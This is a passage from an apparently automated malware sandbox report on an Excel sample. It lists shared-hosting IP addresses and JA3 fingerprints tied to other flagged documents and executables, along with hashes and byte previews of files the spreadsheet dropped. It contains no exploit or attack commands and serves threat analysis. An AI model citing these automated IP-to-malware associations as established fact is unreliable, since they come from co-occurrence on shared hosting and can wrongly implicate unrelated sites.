                                                                      • 192.185.221.204
                                                                      UNIFIEDLAYER-AS-1USpresentation.jarGet hashmaliciousBrowse
                                                                      • 50.87.249.219
                                                                      presentation.jarGet hashmaliciousBrowse
                                                                      • 50.87.249.219
                                                                      GK58.vbsGet hashmaliciousBrowse
                                                                      • 192.185.21.136
                                                                      catalog-1521295750.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.20.98
                                                                      catalog-1521295750.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.20.98
                                                                      4GGwmv0AJm.exeGet hashmaliciousBrowse
                                                                      • 50.87.166.59
                                                                      c647b2da_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                      • 108.179.242.122
                                                                      c647b2da_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                      • 108.179.242.122
                                                                      6613n246zm543w.xlsbGet hashmaliciousBrowse
                                                                      • 162.241.24.47
                                                                      DEMARG MALAYHCU21345.exeGet hashmaliciousBrowse
                                                                      • 162.241.169.22
                                                                      generated check 662732.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.177.61
                                                                      4Y2I7k0.xlsbGet hashmaliciousBrowse
                                                                      • 162.241.24.47
                                                                      QUOTATION REQUEST.exeGet hashmaliciousBrowse
                                                                      • 192.185.131.134
                                                                      gunzipped.exeGet hashmaliciousBrowse
                                                                      • 192.254.189.182
                                                                      Purchase Order #DH0124 REF#SCAN005452 EXW HMM SO#UKL080947 - FD210268-001.xlsx.exeGet hashmaliciousBrowse
                                                                      • 162.144.13.239
                                                                      0145d964_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                      • 162.241.169.22
                                                                      HXxk3mzZeW.exeGet hashmaliciousBrowse
                                                                      • 192.185.140.111
                                                                      HCU213DES.docGet hashmaliciousBrowse
                                                                      • 162.241.169.22
                                                                      RFQ.exeGet hashmaliciousBrowse
                                                                      • 192.254.236.251
                                                                      a3aa510e_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                      • 192.185.221.204

                                                                      JA3 Fingerprints

                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      7dcce5b76c8b17472d024758970a406be1df57de_by_Libranalysis.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      MV RED SEA.docxGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      SecuriteInfo.com.Heur.31681.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      catalog-1521295750.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      Documents_111651917_375818984.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      Documents_95326461_1831689059.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      471e3984_by_Libranalysis.docxGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      presupuesto.xlsxGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      ORDER INQUIRY.docGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      Outstanding Payment Plan.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      SecuriteInfo.com.Heur.3869.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      SecuriteInfo.com.Heur.12433.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      Documents_1906038956_974385067.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      SecuriteInfo.com.Heur.3421.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      diagram-586750002.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      94a5cd81_by_Libranalysis.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      Documents_585904356_2104184844.xlsGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      e9251e1f_by_Libranalysis.docxGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      statistic-1048881972.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89
                                                                      Specificatiile produsului.xlsxGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      • 192.254.233.89

                                                                      Dropped Files

                                                                      No context

                                                                      Created / dropped Files

                                                                      C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:Microsoft Cabinet archive data, 58596 bytes, 1 file
                                                                      Category:dropped
                                                                      Size (bytes):58596
                                                                      Entropy (8bit):7.995478615012125
                                                                      Encrypted:true
                                                                      SSDEEP:1536:J7r25qSSheImS2zyCvg3nB/QPsBbgwYkGrLMQ:F2qSSwIm1m/QEBbgb1oQ
                                                                      MD5:61A03D15CF62612F50B74867090DBE79
                                                                      SHA1:15228F34067B4B107E917BEBAF17CC7C3C1280A8
                                                                      SHA-256:F9E23DC21553DAA34C6EB778CD262831E466CE794F4BEA48150E8D70D3E6AF6D
                                                                      SHA-512:5FECE89CCBBF994E4F1E3EF89A502F25A72F359D445C034682758D26F01D9F3AA20A43010B9A87F2687DA7BA201476922AA46D4906D442D56EB59B2B881259D3
                                                                      Malicious:false
                                                                      Reputation:high, very likely benign file
                                                                      Preview: MSCF............,...................I........T........bR. .authroot.stl...s~.4..CK..8T....c_.d....A.K......&.-.J...."Y...$E.KB..D...D.....3.n..u.............|..=H4..c&.......f.,..=..-....p2.:..`HX......b.......Di.a......M.....4.....i..}..:~N.<..>.*.V..CX......B......,.q.M.....HB..E~Q...)..Gax../..}7..f......O0...x..k..ha...y.K.0.h..(....{2Y.].g...yw..|0.+?.`-../.xvy..e......w.+^...w|.Q.k.9&.Q.EzS.f......>?w.G.......v.F......A......-P.$.Y...u....Z..g..>.0&.y.(..<.].`>... ..R.q...g.Y..s.y.B..B....Z.4.<?.R....1.8.<.=.8..[a.s.......add..).NtX....r....R.&W4.5]....k.._iK..xzW.w.M.>,5.}..}.tLX5Ls3_..).!..X.~...%.B.....YS9m.,.....BV`.Cee.....?......:.x-.q9j...Yps..W...1.A<.X.O....7.ei..a\.~=X....HN.#....h,....y...\.br.8.y"k).....~B..v....GR.g|.z..+.D8.m..F .h...*.........ItNs.\....s..,.f`D...]..k...:9..lk.<D....u...........[...*.wY.O....P?.U.l....Fc.ObLq......Fvk..G9.8..!..\T:K`.......'.3......;.u..h...uD..^.bS...r........j..j .=...s .FxV....g.c.s..9.
                                                                      C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):893
                                                                      Entropy (8bit):7.366016576663508
                                                                      Encrypted:false
                                                                      SSDEEP:24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
                                                                      MD5:D4AE187B4574036C2D76B6DF8A8C1A30
                                                                      SHA1:B06F409FA14BAB33CBAF4A37811B8740B624D9E5
                                                                      SHA-256:A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
                                                                      SHA-512:1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
                                                                      Malicious:false
                                                                      Reputation:high, very likely benign file
                                                                      Preview: 0..y..*.H.........j0..f...1.0...*.H.........N0..J0..2.......D....'..09...@k0...*.H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0...*.H.............0..........P..W..be......,k0.[...}.@......3vI*.?!I..N..>H.e...!.e.*.2....w..{........s.z..2..~..0....*8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.*....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i....*.)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0...*.H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..|.Wv..(9..e...w.j..w.......)...55.1.
                                                                      C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):326
                                                                      Entropy (8bit):3.1104115127610625
                                                                      Encrypted:false
                                                                      SSDEEP:6:kKdaEJqwTJ0N+SkQlPlEGYRMY9z+4KlDA3RUe0ht:AgqwTJrkPlE99SNxAhUe0ht
                                                                      MD5:A39BBD01CB8FB3C2B3C6B01481D77D1C
                                                                      SHA1:8BEA315D53B166052C0D14B6DB2D2F926A2E5DC8
                                                                      SHA-256:445E9E49DD0A02009742E8B69E9E3C590C54C7A9907B41F2AEF63C2DBD13C30E
                                                                      SHA-512:7B25F1C157AB7D7D028EAA4F0DAA9839375EB4F2CC8451193B59DACD655FC00DDF26765D3D3788E98D4E88F2B28304D8D255FF71E180B712252251DFCF2DC3C6
                                                                      Malicious:false
                                                                      Reputation:low
                                                                      Preview: p...... .........b.a#A..(....................................................... ...................$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.d.8.f.4.f.3.f.6.f.d.7.1.:.0."...
                                                                      C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):252
                                                                      Entropy (8bit):2.982402351126539
                                                                      Encrypted:false
                                                                      SSDEEP:3:kkFklegl1fllXlE/jQEBllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1Ffl5nPWP:kKvg0QE1liBAIdQZV7ulPPN
                                                                      MD5:2D4468F98CEABAFB3F5EB70C5D41627A
                                                                      SHA1:35BFE535A060CBD4A3DFE8493B4B975604F0D1F0
                                                                      SHA-256:EA0FAADC2A08412291E465A069BC17BF03685D8BDFFF3DC0B931814384A2A33D
                                                                      SHA-512:D74BDFF1C1DB9BBAD100B4D2B82268B6177D0A2F37FE5560CEE37636FAF6284B8EB9FE69C8661A84F871F7AECA5D41241BF89BB79DEA637FB34F328D236CC46A
                                                                      Malicious:false
                                                                      Reputation:low
                                                                      Preview: p...... ....`...h..a#A..(....................................................... .........|.j-......(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.b.f.8.d.f.8.0.6.2.7.0.0."...
                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\suspendedpage[1].htm
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:HTML document, ASCII text
                                                                      Category:downloaded
                                                                      Size (bytes):494
                                                                      Entropy (8bit):4.962239405540505
                                                                      Encrypted:false
                                                                      SSDEEP:12:hnMQbwzRQ6QclfhxxEdWr+YZrH3atJMlgOt0quoQL:hMxRQspxCQnZrH3atEx0h
                                                                      MD5:0357AA49EA850B11B99D09A2479C321B
                                                                      SHA1:41472BA5C40F61FA1C77C42CF06248F13B8785F0
                                                                      SHA-256:0FF0B7FCB090C65D0BDCB2AF4BBD2C30F33356B3CE9B117186FA20391EF840A3
                                                                      SHA-512:A317A0F035B8DFF7CA60C76B0B75698A3528FD4C7C5E915292C982D2B38C1C937C318362C891E93BEE6FDB1B166764D7183140A837FD23DAA2BE3D2DAC5A5DFC
                                                                      Malicious:false
                                                                      Reputation:moderate, very likely benign file
                                                                      IE Cache URL:https://anaheimdermatologists.com/cgi-sys/suspendedpage.cgi
                                                                      Preview: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">.<html>. <head>. <title>Contact Support</title>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">. </head>. <body marginwidth="0" marginheight="0" leftmargin="0" topmargin="0">. <iframe width="100%" height="100%" frameborder="0" SCROLLING="auto" marginwidth="0" src="http://fwdssp.com/?dn=referer_detect&pid=5POL4F2O4"></iframe>. </body>.</html>.
                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E71D9E51.png
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                      Category:dropped
                                                                      Size (bytes):557
                                                                      Entropy (8bit):7.343009301479381
                                                                      Encrypted:false
                                                                      SSDEEP:12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
                                                                      MD5:A516B6CB784827C6BDE58BC9D341C1BD
                                                                      SHA1:9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
                                                                      SHA-256:EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
                                                                      SHA-512:C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
                                                                      Malicious:false
                                                                      Reputation:moderate, very likely benign file
                                                                      Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.|.-P#P;..p._.......jUG....X........IEND.B`.
                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EE365390.png
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:PNG image data, 485 x 185, 8-bit/color RGB, non-interlaced
                                                                      Category:dropped
                                                                      Size (bytes):34787
                                                                      Entropy (8bit):7.9883689087667955
                                                                      Encrypted:false
                                                                      SSDEEP:768:XbyxVN2hP86XpVBxUmtCQHcQpKvtcFM/MoJ97bk3Ueu:m92hjPcQpWUot9Eg
                                                                      MD5:2C5A59B7F30E5E41412EC22FDEA1DBB5
                                                                      SHA1:9A64FB6A68683EEC580A881725DBD146E80D06B1
                                                                      SHA-256:E872E66F60AE5651AE96A2C2A88D07B0D1C96CDDD45F787AB04237891AD4E8FB
                                                                      SHA-512:2D494F44E1DA36794C3E707BF1173EE63E2CF3101E3B5EA60D71A194DA9A6A1EB6B9C166B7C1ACAA2D455B9C6413D0FEE40AD38972C076183EF167818D7E92EC
                                                                      Malicious:false
                                                                      Reputation:moderate, very likely benign file
                                                                      Preview: .PNG........IHDR..............i......sRGB.........pHYs..........+......IDATx^....]U.>..{'.......".bA.6.6..o/3...:......b....{HBBz./........[..%yI.!>...}.^{.o.........^..R.......=..c..-Z.n]cc...W.^...........z..2.9s.<....?|...._j.&.....R.......K...\.V..ukS..sgKKKWWWkk._@s....<x.Q..t..1bt.5k.QG....,X0f..Y.T...............k..y..k..K6^....v.x}..p....vX.MK..5.....j...X....8...~......z.{.aJ.Q...{.._|...|.....{.ui..M.)^...I.....};>..[n...../^..hnn.t.^.}..S.Ly.3.q.W.v.i)d.....W.x=p.".d@k.(.y...kE..P......mH"F^...\q..v)....K...R...:O..i..G......?...!.....y.^..W.....:u...).c.j ..=....X......<..u.]w.7.H.;.GE*...x.;^..WM.8.....G..x.?.Z*....:F..~..k..f.%.kN {..}(.d..C.z...2.G....x...S*.^....<..?..o...ME`......s.9.{.......>;.5....o.T....,..I.....?...o.w..6../~..>.....S.i1.Q.)^..VIe.........~._../..G...!C......|..k]]]v.x..wt......=.Y0...Z.9......=t.....]{S.)^.Mm...p..m......M.6....r.L.6MT..3'M.4{.l~.P[h....Wtttx........#.OR.\.r.e@
                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FBA7750B.png
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:PNG image data, 205 x 58, 8-bit/color RGB, non-interlaced
                                                                      Category:dropped
                                                                      Size (bytes):8301
                                                                      Entropy (8bit):7.970711494690041
                                                                      Encrypted:false
                                                                      SSDEEP:192:BzNWXTPmjktA8BddiGGwjNHOQRud4JTTOFPY4:B8aoVT0QNuzWKPh
                                                                      MD5:D8574C9CC4123EF67C8B600850BE52EE
                                                                      SHA1:5547AC473B3523BA2410E04B75E37B1944EE0CCC
                                                                      SHA-256:ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B
                                                                      SHA-512:20D29AF016ED2115C210F4F21C65195F026AAEA14AA16E36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBACF
                                                                      Malicious:false
                                                                      Preview: .PNG........IHDR.......:......IJ.....sRGB.........pHYs..........+.... .IDATx^..\....}.\6"Sp...g..9Ks..r..=r.U....Y..l.S.2...Q.'C............h}x........... ......\..N...z....._.|......III.666...~~~..6l.Q.J...\..m..g.h.SRR.\.p....'N...EEE...X9......c.&M...].n.g4..E..g...w...{..]..;w..I...y.m\...~..;.].3{~..qV.k..._....?..w/$GlI|..2. m,,,.-[.....sr.V1..g...on...........dl.'...'''[[[.R.......(..^...F.PT.Xq..Mnnn.3..M..g.......6.....pP"#F..P/S.L...W.^..o.r.....5H......111t....|9..3...`J..>...{..t~/F.b..h.P..]z..)......o..4n.F..e...0!!!......#""h.K..K.....g.......^..w.!.$.&...7n.].F.\\\.A....6lxjj.K/........g.....3g......f....:t..s..5.C4..+W.y...88..?.,Y. .^...8{.@VN.6....Kbch.=zt...7+T....v.z....P........VVV..."t.N......$..Jag.v.U...P[(_.I?.9.4i.G.$U..D......W.r...........!>|..#G...3..x.b......P....H!.Vj......u.2..*;..Z..c..._Ga....&L.......`.1.[.n].7..W_m..#8k...)U..L.....G..q.F.e>..s.......q....J....(.N.V...k..>m....=.).
                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FF7E501E.png
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                      Category:dropped
                                                                      Size (bytes):848
                                                                      Entropy (8bit):7.595467031611744
                                                                      Encrypted:false
                                                                      SSDEEP:24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
                                                                      MD5:02DB1068B56D3FD907241C2F3240F849
                                                                      SHA1:58EC338C879DDBDF02265CBEFA9A2FB08C569D20
                                                                      SHA-256:D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
                                                                      SHA-512:9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
                                                                      Malicious:false
                                                                      Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H*................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY*.^......IEND.B`.
                                                                      C:\Users\user\AppData\Local\Temp\2FDE0000
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):109076
                                                                      Entropy (8bit):7.917008419091816
                                                                      Encrypted:false
                                                                      SSDEEP:1536:oeuov3BiTr4GDgM+1M92hjPcQpWUot9ENPcNcrAOJOerwzkFBHhr6vQnf+zyyfqy:oeuocrZD2MopH8x+FHdoLqp6vif+zbx
                                                                      MD5:D2FF29AD3B233F4BB1190F7B84EB65B9
                                                                      SHA1:F5E111716451C84B316BF0CF9BECEDAE32D96A8B
                                                                      SHA-256:AAECAF9C356C810069B580317718521B90EDD8B04A3B01974F334CC3EA1F626F
                                                                      SHA-512:A7A781A15A770F06AAB2C13EBEC904ABCAEBCD90C7B4BC86244166F58733AF4331135F232AF70D4F3F2DBFD27A7C6D7EC8DF34468F3FF6289D18A8759E82D1FA
                                                                      Malicious:false
                                                                      Preview: .U.n.0....?..........C....I?.&..a..e.....5..Jr........jcM....w-.hf..'..k.....0.....Z..dW......XQ...).....l|.G3+..H..;..\....l..K...T.......&U....)Yj....2U.D.FK.H(.r.......|...`. ....&DM...R....u...f.y.xE...%#2....,.`..~!.^a.3..0.....ZAu'b.......}\/._7.A...k.H0Mq..BF........^..`*........7........E. .V.-f.....2.n:.h.]].a..J.../...c..........-...c.E.u.(...../.....s......>.....> .q...$Y....AL..Yv,)..........a.@....pZ........PK..........!.t...............[Content_Types].xml ...(..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                      C:\Users\user\AppData\Local\Temp\CabE985.tmp
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:Microsoft Cabinet archive data, 58596 bytes, 1 file
                                                                      Category:dropped
                                                                      Size (bytes):58596
                                                                      Entropy (8bit):7.995478615012125
                                                                      Encrypted:true
                                                                      SSDEEP:1536:J7r25qSSheImS2zyCvg3nB/QPsBbgwYkGrLMQ:F2qSSwIm1m/QEBbgb1oQ
                                                                      MD5:61A03D15CF62612F50B74867090DBE79
                                                                      SHA1:15228F34067B4B107E917BEBAF17CC7C3C1280A8
                                                                      SHA-256:F9E23DC21553DAA34C6EB778CD262831E466CE794F4BEA48150E8D70D3E6AF6D
                                                                      SHA-512:5FECE89CCBBF994E4F1E3EF89A502F25A72F359D445C034682758D26F01D9F3AA20A43010B9A87F2687DA7BA201476922AA46D4906D442D56EB59B2B881259D3
                                                                      Malicious:false
                                                                      Preview: MSCF............,...................I........T........bR. .authroot.stl...s~.4..CK..8T....c_.d....A.K......&.-.J...."Y...$E.KB..D...D.....3.n..u.............|..=H4..c&.......f.,..=..-....p2.:..`HX......b.......Di.a......M.....4.....i..}..:~N.<..>.*.V..CX......B......,.q.M.....HB..E~Q...)..Gax../..}7..f......O0...x..k..ha...y.K.0.h..(....{2Y.].g...yw..|0.+?.`-../.xvy..e......w.+^...w|.Q.k.9&.Q.EzS.f......>?w.G.......v.F......A......-P.$.Y...u....Z..g..>.0&.y.(..<.].`>... ..R.q...g.Y..s.y.B..B....Z.4.<?.R....1.8.<.=.8..[a.s.......add..).NtX....r....R.&W4.5]....k.._iK..xzW.w.M.>,5.}..}.tLX5Ls3_..).!..X.~...%.B.....YS9m.,.....BV`.Cee.....?......:.x-.q9j...Yps..W...1.A<.X.O....7.ei..a\.~=X....HN.#....h,....y...\.br.8.y"k).....~B..v....GR.g|.z..+.D8.m..F .h...*.........ItNs.\....s..,.f`D...]..k...:9..lk.<D....u...........[...*.wY.O....P?.U.l....Fc.ObLq......Fvk..G9.8..!..\T:K`.......'.3......;.u..h...uD..^.bS...r........j..j .=...s .FxV....g.c.s..9.
                                                                      C:\Users\user\AppData\Local\Temp\TarE986.tmp
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):152788
                                                                      Entropy (8bit):6.309740459389463
                                                                      Encrypted:false
                                                                      SSDEEP:1536:TIz6c7xcjgCyrYBZ5pimp4Ydm6Caku2Dnsz0JD8reJgMnl3rlMGGv:TNqccCymfdmoku2DMykMnNGG0
                                                                      MD5:4E0487E929ADBBA279FD752E7FB9A5C4
                                                                      SHA1:2497E03F42D2CBB4F4989E87E541B5BB27643536
                                                                      SHA-256:AE781E4F9625949F7B8A9445B8901958ADECE7E3B95AF344E2FCB24FE989EEB7
                                                                      SHA-512:787CBC262570A4FA23FD9C2BA6DA7B0D17609C67C3FD568246F9BEF2A138FA4EBCE2D76D7FD06C3C342B11D6D9BCD875D88C3DC450AE41441B6085B2E5D48C5A
                                                                      Malicious:false
                                                                      Preview: 0..T...*.H.........T.0..T....1.0...`.H.e......0..D...+.....7.....D.0..D.0...+.....7..........|h....210303062855Z0...+......0..D.0..*.....`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o
                                                                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
                                                                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Tue May 4 19:23:42 2021, atime=Tue May 4 19:23:42 2021, length=8192, window=hide
                                                                      Category:dropped
                                                                      Size (bytes):867
                                                                      Entropy (8bit):4.466001756485737
                                                                      Encrypted:false
                                                                      SSDEEP:12:85QnLgXg/XAlCPCHaX2B8GB/ylRX+WnicvbK+bDtZ3YilMMEpxRljK/bTdJP9TdU:85o/XTm6GcYezDv3qY/rNru/
                                                                      MD5:25957C7F94AA54FF5FEB0DE3E97955F9
                                                                      SHA1:D4C9F60D65283F4533D96F8A55AD08F54DB793D2
                                                                      SHA-256:5F0B2E1BA0838DF8A9951B5A0CD38626314ADFB113AEB42B0F447C3350CCE3F6
                                                                      SHA-512:2944E7A8E79705FBC2089F2B733210AE7AC1F18C9BB9FE6328F22B78C392776D2DF1A7B93945BDFC8FBCB7436EE225152E46D37DAF8EE5D1E3CFF5C2B8D4FF7F
                                                                      Malicious:false
                                                                      Preview: L..................F...........7G..E0S`#A..E0S`#A... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......R....Desktop.d......QK.X.R..*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\301389\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......301389..........D_....3N...W...9r.[.*.......}EkD_....3N...W...9r.[.*.......}Ek....
